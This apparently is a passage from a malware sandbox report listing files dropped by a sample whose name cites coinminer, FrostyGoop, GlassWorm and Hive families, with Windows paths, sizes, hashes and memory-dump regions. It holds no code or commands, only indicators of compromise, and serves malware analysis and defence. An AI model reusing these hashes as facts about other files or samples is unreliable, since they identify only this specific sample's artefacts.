SHA256 17eb0f96ec6a5721b2405a923c7a1d5e6a85ba157e75f2ca075a0c9aa919240f
MD5 a0bf75adde735ed30a137e290d796799
SHA1 cc63906264a2328ed38c0260135cc97bcf8d84c6
SHA512 01af4ec03bf6de6d002a871c2cb5f469181c6a6179e10c23871f6a75ec005229a752e1d382fe590843a1e45738317c5d0d0cf3f25f0e5eff581450929c609d33
TLSH
T1172162B2D4A0BE32AC8189D4F992B74E5D64102682554E5CE1DEA31D02FF5AC8A3BD36
MD5 SHA1 SHA512 TLSH

Submit Download

a5f821e2-0174-4cb7-a83d-ab9ef57cd565.tmp

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\a5f821e2-0174-4cb7-a83d-ab9ef57cd565.tmp
Size 16KB
SHA256 a3984caf2f828bdc1fc274a40d92696a1ead79b6ce14277d4296dd29a7ec1770
MD5 7ab96edf79882b1e01bc91ef68a33935
SHA1 8598871106351704d61338dcc3dfdfe8c5cd8004
SHA512 4c65cb5f739170d2e304bcf8fbe4e39ebf3400f3850a0d02246ff7d3cc3fcf47276aa5474326550136c2344ec63baae1802815d056a3a84eda1f7a4877b58a67
SSDEEP 384:z1+OBqImmJvGBLx3NaFMJFjNbcRTIRhIbxSBg6rN:scvGtlNj3YxEB
TLSH
T1E572AE7528B16E273CE7C849F98A270BD6652163C1D17FE8DDEDAF0E026F1841392E16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ad6dc2fc-0b60-478a-a101-c32c2b7f4504.tmp

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\ad6dc2fc-0b60-478a-a101-c32c2b7f4504.tmp
Size 4KB
SHA256 c5f731e2cfaadf70e917593c5ebdd7f945dfce13ee8d33aae7afabf99f1149b5
MD5 f3cfd217791e83ee8bbe68d04e6469e7
SHA1 7db4965859b142f57009a90b2fb4135fdc652b5c
SHA512 25e2881ca307308b3fa03648d790ca2b4b3820455bf72e8bba0abbc980c57fa54cd5756bb2ea48a2b0de7737fdde2e99b972ce2e56995337a527d71328cbdeb6
SSDEEP 96:zukzpNkCEFQyzQHfw8HM7oBd8Frh/cInURoDoto+59rSGD9o9BDBeFJ66gVZ0ZhL:zBpNb9y8Y8HM77ooDUh/UVeN9H
TLSH
T1CC919431A470AA379DF2D985B8863B07E6A86023D5D52FEDDAED1F0C01DB3981352D17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

df8e03cf-a6a0-4f26-b710-8d09380ff2a8.tmp

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\df8e03cf-a6a0-4f26-b710-8d09380ff2a8.tmp
Size 3KB
SHA256 e316651a092ec86862892f6b6833a14e083d03d7fd6af29b89a960195172126a
MD5 d7e11e622503faa6fd600094382ae4e0
SHA1 cfe18be493a4f2bf5a3f5fdd20b12bf05fed0834
SHA512 9c9ce78d95eb5aad578666f07bf5d523647cad526fb570015616458ecc5a620698d81fd9d0991fa2b5314005d26a7dc5c75fd885dd6501bfae923dffde2cdbf0
TLSH
T11471A332A870E9378DE3DE84F8862B0AF6A91023D5D52FA8D5ED1F0C01EB3981352D17
MD5 SHA1 SHA512 TLSH

Submit Download

ff727197-569d-4d85-8cd3-cc34e51c5cc5.tmp

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\ff727197-569d-4d85-8cd3-cc34e51c5cc5.tmp
Size 2KB
SHA256 a5e03ff9d3185fce35d351bb0f74a2309a00a5e186b30660dbb82f25c8125452
MD5 99c10f4ddf25cd8652f4125067184771
SHA1 c7561795a6b3d8c09294494b6d0be993736e88f2
SHA512 a2e92a9b09b46daedcacb60ef92cbbb0124ce405b55b456e3d55c9fe77ccf0508b5a070103f8afc956243189fccef5003ed274e3cee4f339314e19f338d94896
TLSH
T18B51C772B810EA378CE3C984FC493F17D9395061D6A11FA4D5DE6B1C01EB69C1312D26
MD5 SHA1 SHA512 TLSH

Submit Download

hyph-as.hyb

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\hyphen-data\120.0.6050.0\hyph-as.hyb
Size 703B
SHA256 c2784e33158a807135850f7125a7eaabe472b3cfc7afb82c74f02da69ea250fe
MD5 8961fdd3db036dd43002659a4e4a7365
SHA1 7b2fa321d50d5417e6c8d48145e86d15b7ff8321
SHA512 531ecec11d296a1ab3faeb2c7ac619da9d80c1054a2ccee8a5a0cd996346fea2a2fee159ac5a8d79b46a764a2aa8e542d6a79d86b3d7dda461e41b19c9bebe92
TLSH
T13001E1B0B7014F4BC635EDB0117A4A6D9664C43553BE051D84B1F9634F19714E70A8A8
MD5 SHA1 SHA512 TLSH

Submit Download

hyph-hi.hyb

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\hyphen-data\120.0.6050.0\hyph-hi.hyb
Size 687B
SHA256 f4df224d459fd111698dd5a13613c5bbf0ed11f04278d60230d028010eac0c42
MD5 0807cf29fc4c5d7d87c1689eb2e0baaa
SHA1 d0914fb069469d47a36d339ca70164253fccf022
SHA512 5324fd47c94f5804bfa1aa6df952949915896a3fc77dccaed0eeffeafe995ce087faef035aecea6b4c864a16ad32de00055f55260af974f2c41afff14dce00f3
TLSH
T14801E178BE13888BC6784DB1054115AA0320F90EF296021B4262B13ACB18FD61C95484
MD5 SHA1 SHA512 TLSH

Submit Download

hyph-nb.hyb

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\hyphen-data\120.0.6050.0\hyph-nb.hyb
Size 141KB
SHA256 c2771fbb1bfff7db5e267dc7a4505a9675c6b98cfe7a8f7ae5686d7a5a2b3dd0
MD5 677edd1a17d50f0bd11783f58725d0e7
SHA1 98fedc5862c78f3b03daed1ff9efbe5e31c205ee
SHA512 c368f6687fa8a2ef110fcb2b65df13f6a67feac7106014bd9ea9315f16e4d7f5cbc8b4a67ba2169c6909d49642d88ae2a0a9cd3f1eb889af326f29b379cfd3ff
SSDEEP 3072:pPTHXHEm69FrOP8d4hRLiinKL4Qshbv2fuOQXCxj+60EoM8WC5zgk:p73HEUP8dsiinTThjy90VKk
TLSH
T1CCE319F3A3394AC29420A8A4DF593B7E4044FA944D80E197B5EC2038E667CBC76D579F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\hyphen-data\120.0.6050.0\manifest.json
Size 82B
SHA256 d571ef33b0e707571f10bb37b99a607d6f43afe33f53d15b4395b16ef3fda665
MD5 2617c38bed67a4190fc499142b6f2867
SHA1 a37f0251cd6be0a6983d9a04193b773f86d31da1
SHA512 b08053050692765f172142bad7afbcd038235275c923f3cd089d556251482b1081e53c4ad7367a1fb11ca927f2ad183dc63d31ccfbf85b0160cf76a31343a6d0
TLSH
T137A022A0BC0880333E8803A8023E83E3C3BE3E0A20003C0002A33C8022EC33B3038E2C
MD5 SHA1 SHA512 TLSH

Submit Download

crash.log

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\crash.log
Size 291B
SHA256 d6fdd102bdb1e4c2027deb03da800871565dc908516a016b51f949ab2fb61514
MD5 3d12cba139065be77efdb4adfc9b17a9
SHA1 401e55a34a2fa2074174d6f5e1ee771111e27416
SHA512 31b4a9c8272ab184cd98c8c524aa8ae6abe90ff3e3f8ec9dbc84965e37605a7dded405737f03a9e32499aa3af743a9d65e8c498be560be9a02efc3b77885d8ad
TLSH
T1E2D0EC023DA658207BF48393B8EC7B1B4F0A70324D480CCCBBA4E695500DF6A1A1D879
MD5 SHA1 SHA512 TLSH

Submit Download

crash.log

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\crash.log
Size 364B
SHA256 b192a34d9085d0bdab20aba12638e7421acb092f3a1449d929fc323501757d3b
MD5 5e7ec0e92a1bb476ab04afef823308e6
SHA1 328e84e5b5ac68a45733427df2711fc7b30b6941
SHA512 9aca6fecb43406d1e0ccdcb2d35ce1e4e13fdad29ea57d4989f65ab3af5d310ad0254c6d6bffe856e13b9f90a08352d7dfb4214325b37f974f9c04ef19579ba5
TLSH
T1C8E092423D6658607BF48393B8EC7F1B4F0A70325D440CCC7B64E695500DE6B1B5D879
MD5 SHA1 SHA512 TLSH

Submit Download

crash.log

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\crash.log
Size 437B
SHA256 d1b0da94871f8b35b7c59f589daea57ddfeae6f74fbe79af15a100473e84a7cf
MD5 802efdc863c16295155c8475316a9210
SHA1 b633ca4df8b49cb5332454fcf707e57b3009b181
SHA512 63948ed6cc8f97f1eb073f7085746b5ddc4f65fa6aeee006de5acd2dc1e1f5505d7e6154a99c61b9121b70f7a35f9a2acd25cd70ac6df5ae80e10f356eff35f3
TLSH
T126E0AC023DAA58207BF48393B8EC7E1B4F0E70325D441CCCBB68E6A8500DE6A1B1D879
MD5 SHA1 SHA512 TLSH

Submit Download

crash.log

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\crash.log
Size 510B
SHA256 15b8c9aee4173636f1f44d9b25847bdc4b6910385f4c72578ba5af83c91ef169
MD5 d67e89d0b005fbddf3cabdf155f6f96d
SHA1 a07df6d859e5f0103d500d6fcdd0195cbf6b93b4
SHA512 3280f67772a6c913dc8b3899461ccc7e1b5214936eced3ca3d477e1632db22ac25dc41d0008b57b45af8c2e3f0ac11f583fcb2fec395583b9fc4607cc2a8c4a1
TLSH
T109F0B2023DA6582077F49393B89C3A174F0D70325D441CCC7B64D598500CE5E1B1D879
MD5 SHA1 SHA512 TLSH

Submit Download

crash.log

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\crash.log
Size 583B
SHA256 cf833fd31b666c44c1f92bea14e869b5a48436b65c5de6eb41ce0b9a66c69a31
MD5 7744ab097e4501576e224591c87105d0
SHA1 8171f5ec38a2552ef38d6431f988b795a4a19b25
SHA512 f6f6f3430a58e345f1b535477290dd22594c8a23bfa7e078b427eed6e0e2acd20f91802fc9c704295b0d1df1505b360aedf6aa534b044edb2b48614e26e85713
TLSH
T104F091023DA6582177F4D393B89C3E174F0E70325D441CCC7B64E599540CE5E2B1D879
MD5 SHA1 SHA512 TLSH

Submit Download

crash.log

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\crash.log
Size 656B
SHA256 44d378721607b6b0c05f6908f57e71d365b9397dd255e65fb4330ea7a162e03c
MD5 9c878330e3ebb9ed470f0ad4a9fca15a
SHA1 1d699a2d6853fb3918b27e833114e62bead9a2b4
SHA512 9d8910984432baaf95a9fe2dae9bf258dc6466cb73179fbe62d749233e8ac23297b5c4a7638a2befe369b7b47b5a83967d403e1c5388420492c82016349eaeb8
TLSH
T136F0AC023DAA582177B4D393B89C3F174F0E70325D481CCC7B64E5A9500CE5E2B1D879
MD5 SHA1 SHA512 TLSH

Submit Download

crash.log

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\crash.log
Size 729B
SHA256 e504bfe1dfd1952e4b0732cf5b7739a77f378a9d6c76c4b89a9bf74034f0b85b
MD5 bf70998249de08542fff712156172e0e
SHA1 8f6ffe5ac9860069e75f352eea7b550df94d190b
SHA512 7be7e7d2372d1e01413f94bd668e42c911aeb8fd6ea7ad77e94d6f1bb309bd9903681457989c2e6ca82f1f9e5beff696221bd505199bd6cdef0a3eaaf221b40d
TLSH
T1FD017D023D6A582177A4D393B8983E174F0D70315D441CCCBBA4E5A9500DE5E2B5DC75
MD5 SHA1 SHA512 TLSH

Submit Download

crash.log

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\crash.log
Size 802B
SHA256 0d8fa79201318c76543192f01c92f687d8d7e78f77062f0fc3d2d1c3ff32620c
MD5 bd4d523bbee4ed9a9e840fded05f9c9d
SHA1 b62febba68aa569b95fedb6275c56c85a2e77fff
SHA512 d81bb6970c7e80522c6dddb117fe5c37a535335ff1d0df115bd3ad9e46850e2d97282f673fbdea318628a002e6e00aae68563d53f3fa350685b432af9c498ebf
TLSH
T1F7018A023D6A582177A49397B8987E164F0970315D441CCCBBA8E5A9500DE5A2B2DC79
MD5 SHA1 SHA512 TLSH

Submit Download

crash.log

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\crash.log
Size 218B
SHA256 8d8f1c0b7a35738c3e03b24e3d82df23c2dcedee370286edf4b2289ef1c8ea19
MD5 269b9cd7f478f7f76daf1446356ce152
SHA1 fc51d4fcc7f73a0c5e6c8669e5459f4858e29264
SHA512 888242b8264f1ef33d5a5e34504867c627915d5ab4fdbc1e30dbba3ad02db0cce661fdc1b3d450f71cd90abfd3ca8a312c44b1701be03f0b5021ce11c9ecc90b
TLSH
T196D0C9023DA668207BF483A3B8EC7B2B4F0A70324D480CCCBBA4E195510DE5A1E4D875
MD5 SHA1 SHA512 TLSH

Submit Download

__init__.py

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\py\Lib\site-packages\PyQt5\uic\port_v3\__init__.py
Size 1024B
SHA256 af9754f560c9458a8fc1bf0da1736be2af51e0e6655397ffa7cf1a59119e48d1
MD5 e14a4728d561f7669e3e938f1760ffad
SHA1 ec0bab46d9461ddd1376543975c2bfe93ce299ce
SHA512 f954870fdac13e39f05a5b5164156909b6b8d1c5afcfea352caa9d8644741d363ea8303cb40bda5d446ef83784dfed2698e1a38b8ee8edf370578c826812c435
TLSH
T12A11AF9E56C78A36938109A3264F96C7F39B565D6F77AC0A640CC5D51340B7883B28DC
MD5 SHA1 SHA512 TLSH

Submit Download

__init__.py

Path C:\Users\Admin\AppData\Roaming\hotmail-checker-beta\py\Lib\site-packages\pyasn1\codec\der\__init__.py
Size 59B
SHA256 1040e52584b5ef6107dfd19489d37ff056e435c598f4e555f1edf4015e7ca67d
MD5 0fc1b4d3e705f5c110975b1b90d43670
SHA1 14a9b683b19e8d7d9cb25262cdefcb72109b5569
SHA512 8a147c06c8b0a960c9a3fa6da3b30a3b18d3612af9c663ee24c8d2066f45419a2ff4aa3a636606232eca12d7faef3da0cbbd3670a2d72a3281544e1c0b8edf81
TLSH
T1D1A0025556C4F55002464A921A29A623879A54E9551D21A83115054227224151381E5D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3672-122-0x00007FFB0D290000-0x00007FFB0D291000-memory.dmp

Download

memory/3672-121-0x00007FFB0CB70000-0x00007FFB0CB71000-memory.dmp

Download

memory/4180-217-0x00007FFB0BA00000-0x00007FFB0BA01000-memory.dmp

Download

memory/4252-2442-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4252-2452-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4252-2450-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4252-2453-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4252-2449-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4252-2447-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4252-2443-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4252-2451-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4252-2448-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4252-2441-0x000001A3082A0000-0x000001A3082A1000-memory.dmp

Download

memory/4580-1745-0x000002366A340000-0x000002366A36A000-memory.dmp

Download

memory/4580-1746-0x000002366A340000-0x000002366A364000-memory.dmp

Download

memory/4580-1567-0x0000023669C10000-0x0000023669C32000-memory.dmp

Download

memory/5076-79-0x00007FFB0BA00000-0x00007FFB0BA01000-memory.dmp

Download